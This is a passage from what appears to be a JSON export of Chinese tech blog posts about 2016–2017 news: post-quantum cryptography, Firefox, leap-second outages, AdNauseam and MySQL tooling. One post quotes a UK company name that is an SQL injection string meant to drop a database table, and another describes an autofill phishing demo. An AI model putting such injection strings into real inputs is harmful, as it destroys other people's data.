手機應該也會有？",
    "title": "Galileo 系統啟用"
  },
  {
    "id": "7041",
    "body": "現有常見的幾個加密基礎在量子電腦上都有相當快速的解 (像是整數質因數分解、離散對數)，只是現在建不出對應夠大台的量子電腦... 但畢竟只是時間的問題了，所以 <a href=\"https://www.nist.gov/\">NIST</a> 照著慣例對外尋求能夠抵抗量子電腦的演算法：「<a href=\"https://www.nist.gov/news-events/news/2016/12/nist-asks-public-help-future-proof-electronic-information\">NIST Asks Public to Help Future-Proof Electronic Information</a>」、「<a href=\"https://www.federalregister.gov/documents/2016/12/20/2016-30615/announcing-request-for-nominations-for-public-key-post-quantum-cryptographic-algorithms\">Announcing Request for Nominations for Public-Key Post-Quantum Cryptographic Algorithms</a>」。\r\n\r\n類似於 <a href=\"https://www.google.com/\">Google</a> 先前在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 上實做的 <a href=\"https://en.wikipedia.org/wiki/CECPQ1\">CECPQ1</a>，對 key exchange 的部份加上保護 (<a href=\"https://blog.gslin.org/archives/2016/07/08/6675/google-chrome-%E5%BC%95%E5%85%A5-cecpq1%EF%BC%8C%E9%96%8B%E5%A7%8B%E6%B8%AC%E8%A9%A6-post-quantum-cryptography/\">Google Chrome 引入 CECPQ1，開始測試 Post-Quantum Cryptography</a>)，這次 NIST 是針對 public key crytpsystem 的部份而發的...\r\n\r\n投稿時間在 2017 的十一月底，大約一年後就可以看到有哪些演算法要參加競賽了... 不過因為 <a href=\"https://www.nsa.gov/\">NSA</a> 的惡名，不知道會不會有其他單位在同個時段啟動類似的活動...",
    "title": "NIST 開始徵求 Post-Quantum Cryptography 演算法"
  },
  {
    "id": "7043",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 說明了 Multi-Process 最近的一些進度：「<a href=\"https://blog.mozilla.org/futurereleases/2016/12/21/update-on-multi-process-firefox/\">Update on Multi-Process Firefox</a>」。\r\n\r\n就目前測試的資料看起來，速度大幅提昇：\r\n\r\n<blockquote>Those users have been enjoying the 400% increase in responsiveness and a 700% improvement when web pages are loading.</blockquote>\r\n\r\n現在的 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 是 50 版，目前的情況是當 extension 標成 multi-process compatible 就會啟用：\r\n\r\n<blockquote>With Firefox 49 we deployed multi-process Firefox to users with a select set of well tested extensions. Our measurements and user feedback were all positive and so with Firefox 50 we deployed multi-process Firefox to users with a broader set of extensions, those whose authors have marked them as multi-process compatible.</blockquote>\r\n\r\n下一個版本 (51) 則是會全面開啟，除非有 extension 標成 multi-process incompatible：\r\n\r\n<blockquote>Beyond Firefox 50, we have more work to do to enable multi-process Firefox for users with as yet unsupported extensions. In Firefox 51, if all testing goes according to plan, we’ll be enabling multi-process Firefox for users with extensions that are not explicitly marked as incompatible with multi-process Firefox.</blockquote>\r\n\r\n總算要把整個架構換過去了...",
    "title": "下個版本 Firefox 的 Multi-Process 將預設全面開啟"
  },
  {
    "id": "7045",
    "body": "看到「<a href=\"https://github.com/dhowe/AdNauseam\">AdNauseam: Fight back against advertising surveillance</a>」這個專案瞬間想到<a href=\"https://zh.wikipedia.org/wiki/%E6%94%BB%E6%AE%BC%E6%A9%9F%E5%8B%95%E9%9A%8A\">攻殼</a>裡面「攻性防壁」這個詞 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/2oXBguB.webp\" /><img src=\"https://i.gslin.com/imgur/2oXBguB.jpg\" alt=\"\" /></picture>\r\n\r\n改自 <a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>，除了本來的隱藏廣告功能外，還會狂點廣告來亂 XDDD：\r\n\r\n<blockquote>AdNauseam is a lightweight browser extension that blends software tool and artware intervention to fight back against tracking by advertising networks. AdNauseam works like an ad-blocker (it is built atop uBlock-Origin) to silently simulate clicks on each blocked ad, confusing trackers as to one's real interests. At the same time, AdNauseam serves as a means of amplifying users' discontent with advertising networks that disregard privacy and facilitate bulk surveillance agendas.</blockquote>",
    "title": "阻擋廣告的攻性防壁 AdNauseam"
  },
  {
    "id": "7046",
    "body": "在手機裡面裝木馬後故意讓別人偷走，然後觀察小偷的行為並且拍成紀錄片：「<a href=\"http://www.boredpanda.com/find-my-phone-thief-stolen-smartphone-spying-cerberus-anthony-van-der-meer/\">Student Lets Thief Steal His Phone, Spies On Him For Weeks To Make This Documentary</a>」。\r\n\r\n影片已經有人翻譯完，有中文字幕可以開起來看：\r\n\r\n<iframe width=\"640\" height=\"360\" src=\"https://www.youtube.com/embed/NpN9NzO4Mo8\" frameborder=\"0\" allowfullscreen></iframe>\r\n\r\n裡面用的木馬 (防盜軟體) 是 <a href=\"https://www.cerberusapp.com/\">Cerberus</a>。",
    "title": "在手機裡面放木馬後故意讓手機被偷走的紀錄片..."
  },
  {
    "id": "7047",
    "body": "<a href=\"https://jenkins.io/\">Jenkins</a> 的 <a href=\"https://jenkins.io/projects/blueocean/\">Blue Ocean</a> 計畫打算改善讓人頭痛很久的操作體驗了：\r\n\r\n<blockquote>Blue Ocean is a new project that rethinks the user experience of Jenkins.</blockquote>\r\n\r\nJenkins 讓人頭痛有兩個面向，一個是界面很難讀，另外一個是操作流程很沒有規則，所謂「熟悉 Jenkins」其中一個很艱難的任務就是要背下一堆功能「蔵在哪邊」。而這次 Blue Ocean 想改善的事情看起來主力放在界面，對於流程修的比較少... 即使如此，這還是可以讓使用的人減少一些痛苦就是了...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/oR0kSh4.webp\" /><img src=\"https://i.gslin.com/imgur/oR0kSh4.jpg\" alt=\"\" /></picture>\r\n\r\n成功與爆炸的表現：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0FGqGwt.webp\" /><img src=\"https://i.gslin.com/imgur/0FGqGwt.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/mP1m7mH.webp\" /><img src=\"https://i.gslin.com/imgur/mP1m7mH.jpg\" alt=\"\" /></picture>\r\n\r\n在專案頁面的後面有提到 Blue Ocean 用的技術：\r\n\r\n<blockquote>Blue Ocean is built as a collection of Jenkins plugins itself. There is one key difference, however. It provides both its own endpoint for http requests and delivers up html/javascript via a different path, without the existing Jenkins UI markup/scripts. React.js and ES6 are used to deliver the javascript components of Blue Ocean. Inspired by this excellent open source project (react-plugins) an &lt;ExtensionPoint&gt;pattern was established, that allows extensions to come from any Jenkins plugin (only with Javascript) and should they fail to load, have failures isolated.</blockquote>\r\n\r\n又是個不需要用 SPA 呈現的東西跑去用 <a href=\"https://facebook.github.io/react/\">React</a> 了...",
    "title": "Jenkins 的 Blue Ocean 計畫，改善使用者操作的友善度..."
  },
  {
    "id": "7048",
    "body": "前幾天 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 推出了 2.4.0 (<a href=\"https://www.ruby-lang.org/en/news/2016/12/25/ruby-2-4-0-released/\">Ruby 2.4.0 Released</a>)，其中特別被拿出來提的：「<a href=\"https://bugs.ruby-lang.org/issues/12142\">Introduce hash table improvement (by Vladimir Makarov)</a>」。\r\n\r\n討論串很長而且歷時很久，但可以看出來方向是提高 CPU cache 效率：\r\n\r\n<blockquote>Modern processors have several levels of cache.  Usually,the CPU reads one or a few lines of the cache from memory (or another level of cache).  So CPU is much faster at reading data stored close to each other.  The current implementation of Ruby hash tables does not fit well to modern processor cache organization, which requires better data locality for faster program speed.</blockquote>\r\n\r\n中間還有拿 <a href=\"https://www.redmine.org/\">Redmine</a> 當作測試項目... XD",
    "title": "Ruby 2.4 中 Hash Table 的效能改善"
  },
  {
    "id": "7049",
    "body": "作者用 <a href=\"http://opencv.org/\">OpenCV</a> 學習老闆的臉，然後當老闆走過來的時候把畫面切到努力工作中的 screenshot XDDD：「<a href=\"http://ahogrammer.com/2016/11/15/deep-learning-enables-you-to-hide-screen-when-your-boss-is-approaching/\">Deep Learning Enables You to Hide Screen when Your Boss is Approaching</a>」。\r\n\r\n“My boss left his seat and he was approaching to my seat.”\r\n<img src=\"https://i.gslin.com/imgur/XbGX2fp.jpg\" alt=\"\" />\r\n\r\n“OpenCV has detected the face and input the image into the learned model.”\r\n<img src=\"https://i.gslin.com/imgur/mZPMmWf.jpg\" alt=\"\" />\r\n\r\n“The screen has switched by recognizing him! ヽ(‘ ∇‘ )ノ ﾜｰｲ”\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/fwstGG9.webp\" /><img src=\"https://i.gslin.com/imgur/fwstGG9.jpg\" alt=\"\" /></picture>\r\n\r\n作者是個日本人 (要說不意外嗎 XDDD)，這套軟體的程式碼在「<a href=\"https://github.com/Hironsan/BossSensor\">Hironsan/BossSensor</a>」這邊 XDDD\r\n\r\n超級浪費才能 XDDD",
    "title": "把才能用在奇怪的地方：老闆偵測器"
  },
  {
    "id": "7050",
    "body": "在好幾個地方看到的消息，隨便挑一個：「<a href=\"http://www.osnews.com/story/29568/Cyanogen_shuts_down_CyanogenMod_CM_forks_into_Lineage\">Cyanogen shuts down CyanogenMod; CM forks into Lineage</a>」，官方公告的存檔在「<a href=\"https://web.archive.org/web/20161225144318/https://www.cyanogenmod.org/blog/a-fork-in-the-road\">A fork in the road</a>」這邊。\r\n\r\n也就是說，因為 <a href=\"https://en.wikipedia.org/wiki/CyanogenMod\">CyanogenMod</a> 收掉，社群將會 fork 轉移到 <a href=\"http://lineageos.org/\">Lineage OS</a> 上。\r\n\r\n這樣得花時間研究看看 Lineage OS 有沒有之前的能量了...",
    "title": "從 CyanogenMod 變成 Lineage OS"
  },
  {
    "id": "7052",
    "body": "在「<a href=\"https://www.engadget.com/2016/12/27/amazon-echo-audio-data-murder-case/\">Police seek Amazon Echo data in murder case (updated)</a>」這邊看到 <a href=\"https://en.wikipedia.org/wiki/Amazon_Echo\">Amazon Echo</a> 的隱私問題，起因自警方要求要取得 Amazon Echo 的錄音內容。\r\n\r\nAmazon Echo 會錄下所有喊出「Alexa」後的句子，並且傳到 cloud 上持續保留：\r\n\r\n<blockquote>[,] Echo only captures audio and streams it to the cloud when the device hears the wake word \"Alexa.\" A ring on the top of the device turns blue to give a visual indication that audio is being recorded. Those clips, or \"utterances\" as the company calls them, are stored in the cloud until a customer deletes them either individually or all at once.</blockquote>\r\n\r\n這樣感覺不太好 :o",
    "title": "Amazon Echo 會保留錄音的音頻"
  },
  {
    "id": "7053",
    "body": "看到這張圖在講不同 server (service) 如何處理今年的 leap second (UTC 的跨年，台灣時間早上八點)，出自 <a href=\"http://leapsmear.hdais.net/\">leap smear</a> 這邊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/A8d5rAh.webp\" /><img src=\"https://i.gslin.com/imgur/A8d5rAh.jpg\" alt=\"\" /></picture>\r\n\r\n在很早前就有 <code>time.google.com</code> 這個 domain，但是當時 <a href=\"https://www.google.com/\">Google</a> 的人有跳出來說明這個服務不是公開服務 (當時)，不保證這個服務的正確性與穩定性：「<a href=\"https://github.com/systemd/systemd/issues/437\">timeX.google.com provide non standard time</a>」。\r\n\r\n不過一個月前公佈出來的 <a href=\"https://developers.google.com/time/\">Google Public NTP</a> 服務算是把整個系統搞定了。\r\n\r\n其中在 <a href=\"https://developers.google.com/time/guides\">Configuring Clients</a> 這邊直接推薦用 <code>iburst</code> 參數，不愧是家大業大的 Google XDDD：\r\n\r\n<blockquote>When the server is unreachable and at each poll interval, send a burst of eight packets instead of the usual one. As long as the server is unreachable, the spacing between packets is about 16s to allow a modem call to complete. Once the server is reachable, the spacing between packets is about 2s. This is designed to speed the initial synchronization acquisition with the server command and s addresses and when ntpd is started with the -q option.</blockquote>\r\n\r\n回到原來的 leap smear 的比較圖，可以看出 Google 對 leap second 的解法是往前十二小時與往後十二小時各拉緩衝時間來避開，有些是沒在管，另外有些有種來亂的感覺 XDDD",
    "title": "Google 的 time.google.com"
  },
  {
    "id": "7054",
    "body": "<a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到有趣的數學問題，盡可能生出一個夠大的沙發繞過轉角：「<a href=\"https://www.math.ucdavis.edu/~romik/movingsofa/\">The moving sofa problem</a>」，裡面的描述也蠻有趣的...\r\n\r\n<img src=\"https://i.gslin.com/imgur/g2lwKL0.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/PEAQTtj.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/1APPOxP.gif\" alt=\"\" />\r\n\r\n<img src=\"https://i.gslin.com/imgur/eyVl1Vm.gif\" alt=\"\" />",
    "title": "移動沙發問題"
  },
  {
    "id": "7055",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 這次閏秒炸掉：「<a href=\"https://blog.cloudflare.com/how-and-why-the-leap-second-affected-cloudflare-dns/\">How and why the leap second affected Cloudflare DNS</a>」，影響範圍包括了 DNS query 與 HTTP request：\r\n\r\n<blockquote>At peak approximately 0.2% of DNS queries to Cloudflare were affected and less than 1% of all HTTP requests to Cloudflare encountered an error.</blockquote>\r\n\r\n主要的原因在於 <a href=\"https://golang.org/\">Go</a> 的 <a href=\"https://golang.org/pkg/time/#Now\"><code>time.Now()</code></a> 不保證遞增：\r\n\r\n<blockquote>RRDNS is written in Go and uses Go’s time.Now() function to get the time. Unfortunately, this function does not guarantee monotonicity. Go currently doesn’t offer a monotonic time source (see issue 12914 for discussion).</blockquote>\r\n\r\n修正的方式是針對時間回朔時處理：\r\n\r\n<blockquote>In this patch we allowed RRDNS to forget about current upstream performance, and let it normalize again if time skipped backwards.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ksX6HBu.webp\" /><img src=\"https://i.gslin.com/imgur/ksX6HBu.jpg\" alt=\"\" /></picture>\r\n\r\n應該是因為 Cloudflare 這段程式還沒遇過 leap second 造成的...",
    "title": "Cloudflare 因為閏秒炸掉..."
  },
  {
    "id": "7056",
    "body": "在討論 <a href=\"https://www.google.com/\">Google Search</a> 是不是會執行 javascript。半年前的文章了，不過最近作者發現又有新東西：「<a href=\"https://www.stephanboyer.com/post/122/does-google-execute-javascript\">Does Google execute JavaScript?</a>」。\r\n\r\n作者用了幾段 javascript 程式碼測試 (可以參考原文)，發現其實不保證會執行 javascript，所以還是建議大家乖乖跑 server-side render 產生資料，這樣對其他搜尋引擎的 SEO 也比較好：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/FLs4l74.webp\" /><img src=\"https://i.gslin.com/imgur/FLs4l74.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/tqCfbQw.webp\" /><img src=\"https://i.gslin.com/imgur/tqCfbQw.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/E8jK33M.webp\" /><img src=\"https://i.gslin.com/imgur/E8jK33M.jpg\" alt=\"\" /></picture>",
    "title": "Google Search 是否執行 JavaScript..."
  },
  {
    "id": "7058",
    "body": "前陣子 <a href=\"https://aws.amazon.com/kinesis/firehose/\">Amazon Kinesis Firehole</a> 推出來的新功能，可以轉完後再寫進 <a href=\"https://aws.amazon.com/s3/\">Amazon S3</a> (或是其他地方)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2016/12/amazon-kinesis-firehose-can-now-prepare-and-transform-streaming-data-before-loading-it-to-data-stores/\">Amazon Kinesis Firehose can now prepare and transform streaming data before loading it to data stores</a>」。\r\n\r\n文件是「<a href=\"https://docs.aws.amazon.com/firehose/latest/dev/data-transformation.html\">Amazon Kinesis Firehose Data Transformation</a>」這份，開頭有說明是透過 Lambda 做到的：\r\n\r\n<blockquote>When you enable Firehose data transformation, Firehose buffers incoming data up to 3 MB or the buffering size you specified for the delivery stream, whichever is smaller. Firehose then invokes the specified Lambda function with each buffered batch asynchronously. The transformed data is sent from Lambda to Firehose for buffering. Transformed data is delivered to the destination when the specified buffering size or buffering interval is reached, whichever happens first.</blockquote>\r\n\r\n而文件下方可以看到有些現成寫好的 Lambda 可以用，而且是還蠻常見的 case，像是 apache log 的處理，或是 syslog 的處理：\r\n\r\n<blockquote>Lambda Blueprints\r\n\r\nFirehose provides the following Lambda blueprints that you can use to create a Lambda function for data transformation.\r\n\r\nGeneral Firehose Processing — Contains the data transformation and status model described in the previous section. Use this blueprint for any custom transformation logic.\r\n<ul>\r\n\t<li>Apache Log to JSON — Parses and converts Apache log lines to JSON objects, using predefined JSON field names.</li>\r\n\t<li>Apache Log to CSV — Parses and converts Apache log lines to CSV format.</li>\r\n\t<li>Syslog to JSON — Parses and converts Syslog lines to JSON objects, using predefined JSON field names.</li>\r\n\t<li>Syslog to CSV — Parses and converts Syslog lines to CSV format.</li>\r\n</ul></blockquote>\r\n\r\n這樣配合 <a href=\"https://aws.amazon.com/athena/\">Amazon Athena</a> 就是一包 serverless 架構了...",
    "title": "Amazon Kinesis Firehole 可以先轉換再進 S3 了..."
  },
  {
    "id": "7059",
    "body": "看到「<a href=\"https://github.com/mpociot/botman\">PHP BotMan</a>」這個專案 (A framework agnostic PHP library to build chat bots)，把各家 IM 工具都串起來讓你直接接上去用，在 initialize 完後，就可以這樣寫：\r\n\r\n<pre>$botman-&gt;hears('keyword', function(BotMan $bot) {\r\n    // do something to respond to message\r\n    $bot-&gt;reply('You used a keyword!');\r\n});</pre>\r\n\r\n或是：\r\n\r\n<pre>$botman-&gt;fallback(function(BotMan $bot) {\r\n    return $bot-&gt;reply('Sorry I do not know this command');\r\n});</pre>\r\n\r\n把事情專注在 bot 邏輯本身，不需要去管怎麼跟 <a href=\"https://www.facebook.com/\">Facebook</a> 或是 <a href=\"https://slack.com/\">Slack</a> 接的細節...",
    "title": "PHP 的 BotMan"
  },
  {
    "id": "7061",
    "body": "在「<a href=\"https://www.schneier.com/blog/archives/2017/01/an_sql_injectio.html\">An SQL Injection Attack Is a Legal Company Name in the UK</a>」這邊看到英國的這家公司：「<a href=\"https://beta.companieshouse.gov.uk/company/10542519\">; DROP TABLE \"COMPANIES\";-- LTD</a>」，根本就是在幫大家測試 XDDD\r\n\r\n當然，大家也都馬上聯想到這則 <a href=\"https://xkcd.com/\">xkcd</a> 漫畫：「<a href=\"https://xkcd.com/327/\">Exploits of a Mom</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/JZ2P6qI.webp\" /><img src=\"https://i.gslin.com/imgur/JZ2P6qI.jpg\" alt=\"\" /></picture>\r\n\r\n<del>來招喚 QQ 姊翻譯這則 xkcd 漫畫？</del>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Q9ucONT.webp\" /><img src=\"https://i.gslin.com/imgur/Q9ucONT.jpg\" alt=\"\" /></picture>",
    "title": "線上測試 SQL Injection 喔喔喔"
  },
  {
    "id": "7062",
    "body": "然後觀眾家裡的 <a href=\"https://www.amazon.com/dp/B00X4WHP5E\">Amazon Echo</a> 就跟著買了 XDDD：「<a href=\"http://www.theregister.co.uk/2017/01/07/tv_anchor_says_alexa_buy_me_a_dollhouse_and_she_does/\">TV anchor says live on-air 'Alexa, order me a dollhouse' – guess what happens next</a>」。\r\n\r\n<img src=\"https://i.gslin.com/imgur/Ixt6GMS.jpg\" alt=\"\" />\r\n\r\n<blockquote>A San Diego TV station sparked complaints this week – after an on-air report about a girl who ordered a dollhouse via her parents' Amazon Echo caused Echoes in viewers' homes to also attempt to order dollhouses.</blockquote>",
    "title": "電視節目上表演從 Amazon Echo 買東西..."
  },
  {
    "id": "7063",
    "body": "算是 2015 正式被信任 (透過 <a href=\"https://www.identrust.com/\">IdenTrust</a>) 後第一個完整的一年 (2016 整年)：「<a href=\"https://letsencrypt.org/2017/01/06/le-2016-in-review.html\">Let’s Encrypt 2016 In Review</a>」。\r\n\r\n可以看到好幾波大型成長：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WLE77ZD.webp\" /><img src=\"https://i.gslin.com/imgur/WLE77ZD.jpg\" alt=\"\" /></picture>\r\n\r\n接下來的目標應該是 ECDSA Intermediates (「<a href=\"https://letsencrypt.org/upcoming-features/\">Upcoming Features</a>」)，不知道後續還會有什麼計畫...",
    "title": "Let's Encrypt 的 2016 年總結"
  },
  {
    "id": "7065",
    "body": "<a href=\"https://github.com/mdaines/viz.js\">mdaines/viz.js</a> 這個計畫，直接將 <a href=\"http://www.graphviz.org/\">Graphziz</a> 在瀏覽器上畫出來：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VOgXZl6.webp\" /><img src=\"https://i.gslin.com/imgur/VOgXZl6.jpg\" alt=\"\" /></picture>\r\n\r\n可以在<a href=\"https://mdaines.github.io/viz.js/\">這邊</a>測試。其中輸出成 PNG element 的部份在 IE 上需要另外的套件：\r\n\r\n<blockquote>Internet Explorer 10 and 11 require <a href=\"http://fabricjs.com/\">Fabric.js</a> as an optional dependency for PNG output.</blockquote>",
    "title": "在瀏覽器裡面直接產生 Graphviz 圖片"
  },
  {
    "id": "7066",
    "body": "<a href=\"https://www.ftc.gov/\">FTC</a> 對於 <a href=\"http://www.dlink.com/\">D-Link</a> 產品的安全性不符合宣稱而告下去了：「<a href=\"https://www.consumer.ftc.gov/blog/ftc-sues-d-link-over-router-and-camera-security-flaws\">FTC sues D-Link over router and camera security flaws</a>」。\r\n\r\n<blockquote>D-Link claimed its routers were “EASY TO SECURE” with “ADVANCED NETWORK SECURITY,” but the FTC says the company failed to protect its routers and cameras from widely known and reasonably foreseeable risks.</blockquote>\r\n\r\n<blockquote>The complaint also says security gaps could allow hackers to watch and record people on their D-Link cameras without their knowledge, target them for theft, or record private conversations.</blockquote>",
    "title": "D-Link 因為路由器與網路鏡頭不夠安全，被美國聯邦貿易委員會告"
  },
  {
    "id": "7067",
    "body": "之前提到的「<a href=\"https://blog.gslin.org/archives/2016/12/25/7045/%E9%98%BB%E6%93%8B%E5%BB%A3%E5%91%8A%E7%9A%84%E6%94%BB%E6%80%A7%E9%98%B2%E5%A3%81-adnauseam/\">阻擋廣告的攻性防壁 AdNauseam</a>」沒什麼意外被 <a href=\"https://www.google.com/\">Google</a> 擋掉了：「<a href=\"https://adnauseam.io/free-adnauseam.html\">AdNauseam banned from the Google Web Store</a>」。\r\n\r\n<blockquote>Earlier this week, on Jan 1st 2017, we were informed by our users that Google had banned AdNauseam from its Chrome Web Store.</blockquote>\r\n\r\n現在變成要手動下載安裝：「<a href=\"https://github.com/dhowe/AdNauseam/wiki/Install-AdNauseam-on-Chrome-Without-Google's-Permission\">Install AdNauseam on Chrome Without Google's Permission</a>」。",
    "title": "Google Web Store 擋掉 AdNauseam"
  },
  {
    "id": "7068",
    "body": "看到「<a href=\"http://blog.jwilm.io/announcing-alacritty/\">Announcing Alacritty, a GPU-accelerated terminal emulator</a>」這個用 GPU 加速 rendering 的 terminal emulator：「<a href=\"https://github.com/jwilm/alacritty\">Alacritty</a>」。\r\n\r\n<blockquote>Alacritty is a blazing fast, GPU accelerated terminal emulator. It’s written in Rust and uses OpenGL for rendering to be the fastest terminal emulator available.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/UisRZH7.webp\" /><img src=\"https://i.gslin.com/imgur/UisRZH7.jpg\" alt=\"\" /></picture>\r\n\r\n全螢幕全文字的情況下可以到 500 fps：\r\n\r\n<blockquote>Alacritty’s renderer is capable of doing ~500 FPS with a large screen full of text. This is made possible by efficient OpenGL usage.</blockquote>\r\n\r\n現在支援 Linux 與 <a href=\"https://www.apple.com/macos/\">macOS</a>，不過要自己編，會比較麻煩一點：\r\n\r\n<blockquote>Alacritty currently supports macOS and Linux, and Windows support is planned before the 1.0 release.</blockquote>",
    "title": "號稱目前最快的 Terminal 軟體 (因為用 GPU 加速)"
  },
  {
    "id": "7069",
    "body": "<a href=\"https://www.google.com/\">Google</a> 放出 <a href=\"https://github.com/google/grumpy\">Grumpy</a>，可以把 <a href=\"https://www.python.org/\">Python</a> 2.7 的程式碼轉成 <a href=\"https://golang.org/\">Go</a>：「<a href=\"https://opensource.googleblog.com/2017/01/grumpy-go-running-python.html\">Grumpy: Go running Python!</a>」。\r\n\r\n下面看到一個留言頗有趣的：\r\n\r\n<blockquote>This sad to see that Grumpy is mean to be a replacement of CPython 2.7 instead of CPython 3.x . I presume the code from youtube was written in python 2.x hence the reason but I hope we'll see Grumpy supporting python 3.x :)﻿</blockquote>\r\n\r\n回到原文，這次的需求主要是出自 <a href=\"https://www.youtube.com/\">YouTube</a> 的需求：\r\n\r\n<blockquote>The front-end server that drives youtube.com and YouTube’s APIs is primarily written in Python, and it serves millions of requests per second! YouTube’s front-end runs on CPython 2.7, so we’ve put a ton of work into improving the runtime and adapting our application to work optimally within it.</blockquote>\r\n\r\n然後 Python 的 <a href=\"https://en.wikipedia.org/wiki/Global_interpreter_lock\">GIL</a> 又被拿出來鞭屍：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/a7AjleO.webp\" /><img src=\"https://i.gslin.com/imgur/a7AjleO.jpg\" alt=\"\" /></picture>\r\n\r\n除了 C extension 不支援外，還是有些「過於動態」的語法不支援：\r\n\r\n<blockquote><code>exec</code>, <code>eval</code> and <code>compile</code>: These dynamic features of CPython are not supported by Grumpy because Grumpy modules consist of statically compiled Go code. Supporting dynamic execution would require bundling Grumpy programs with the compilation toolchain which would be unwieldy and impractically slow.</blockquote>\r\n\r\n這樣可用的範圍少不少，這個專案可以當作 YouTube 這種規模的網站所做的改善，而不是什麼可以拿來用的工具 :o",
    "title": "Google 弄出來的 Grumpy：把 Python 2.7 的程式碼轉成 Go..."
  },
  {
    "id": "7070",
    "body": "<a href=\"https://github.com/anttiviljami/browser-autofill-phishing\">anttiviljami/browser-autofill-phishing</a> 這邊示範了怎麼用隱藏的 form input 與自動完成功能取得敏感資料。在<a href=\"https://anttiviljami.github.io/browser-autofill-phishing/\">這邊</a>可以看到示範 (把 POST 丟到 httpbin 上看 response)。\r\n\r\n<img src=\"https://i.gslin.com/imgur/GIG6jr0.gif\" alt=\"\" />\r\n\r\n想法不算困難，但好像也不是很好防... 關掉 autofill 是比較簡單的解法 (我是裝好瀏覽器就會關掉，不過好像很多人都喜歡用這個功能)，所以這個問題就丟回給這些 browser vendor 想了 :o",
    "title": "利用隱藏的 form input 加上自動完成功能取得敏感資料"
  },
  {
    "id": "7072",
    "body": "<a href=\"https://gist.github.com/alirobe/7f3b34ad89a159e6daa1\">alirobe/reclaimWindows10.ps1</a> 這個 <a href=\"https://gist.github.com/\">gist</a> 提供了 script 將 Windows 10 侵犯隱私的程式都關閉：\r\n\r\n<blockquote>\"Reclaim Windows 10\" turns off a bunch of unnecessary Windows 10 telemetery, removes bloatware, and privacy invasions. Review and tweak before running. Scripts for reversing are included and commented. Fork via <a href=\"https://github.com/Disassembler0\">https://github.com/Disassembler0</a> (different defaults)</blockquote>\r\n\r\n翻了一次發現東西好多啊... 把 user 當作商品的感覺 @_@",
    "title": "將 Windows 10 侵犯隱私的程式都關光"
  },
  {
    "id": "7074",
    "body": "從 <a href=\"http://www.solidot.org/\">Solidot</a> 上看到 <a href=\"https://www.google.com/chrome/\">Google Chrome</a> 上的 <a href=\"https://userstyles.org/\">Stylish</a> 換人開始蒐集使用者所有的瀏覽記錄：「<a href=\"http://www.solidot.org/story?sid=51017\">Chrome 版 Stylish 开始收集用户数据</a>」。\r\n\r\n之前是靠 Stylish 在處理 <a href=\"https://feedly.com/\">Feedly</a> 的版面，移除掉之後就變得很窄很不好讀... 基於不信任的理由，也不可能用 userstyles.org 上的 Greasemonkey 版本 (反而更危險)。\r\n\r\n結果塞翁失馬，找到「<a href=\"https://openuserjs.org/scripts/Dexmaster/Custom_Feedly_Styles_(+_Always_Show_Left_Menu)\">Custom Feedly Styles (+ Always Show Left Menu)</a>」這個套件，一包直接支援多種功能，還可以透過 checkbox 選擇要哪些...",
    "title": "Stylish 的維護者換人，開始蒐集使用者資訊..."
  },
  {
    "id": "7075",
    "body": "在「<a href=\"https://www.percona.com/blog/2017/01/11/reinstall-mysql-and-preserve-all-mysql-grants-and-users/\">Reinstall MySQL and Preserve All MySQL Grants and Users</a>」這邊看到了 <a href=\"https://www.percona.com/doc/percona-toolkit/2.2/pt-show-grants.html\">pt-show-grants</a> 這個工具可以直接將權限表輸出成對應的 SQL 指令，像是這樣：\r\n\r\n<pre>$ pt-show-grants -u root -pmydbr00tpassword\r\n-- Grants dumped by pt-show-grants\r\n-- Dumped from server Localhost via UNIX socket, MySQL 5.7.16-10-log at 2017-01-12 14:19:45\r\n-- Grants for 'mysql.sys'@'localhost'\r\nCREATE USER IF NOT EXISTS 'mysql.sys'@'localhost';\r\nALTER USER 'mysql.sys'@'localhost' IDENTIFIED WITH 'mysql_native_password' AS '*THISISNOTAVALIDPASSWORDTHATCANBEUSEDHERE' REQUIRE NONE PASSWORD EXPIRE DEFAULT ACCOUNT LOCK;\r\nGRANT SELECT ON `sys`.`sys_config` TO 'mysql.sys'@'localhost';\r\nGRANT TRIGGER ON `sys`.* TO 'mysql.sys'@'localhost';\r\nGRANT USAGE ON *.* TO 'mysql.sys'@'localhost';\r\n-- Grants for 'root'@'localhost'\r\nCREATE USER IF NOT EXISTS 'root'@'localhost';\r\nALTER USER 'root'@'localhost' IDENTIFIED WITH 'mysql_native_password' AS 'x' REQUIRE NONE PASSWORD EXPIRE DEFAULT ACCOUNT UNLOCK;\r\nGRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION;\r\nGRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT 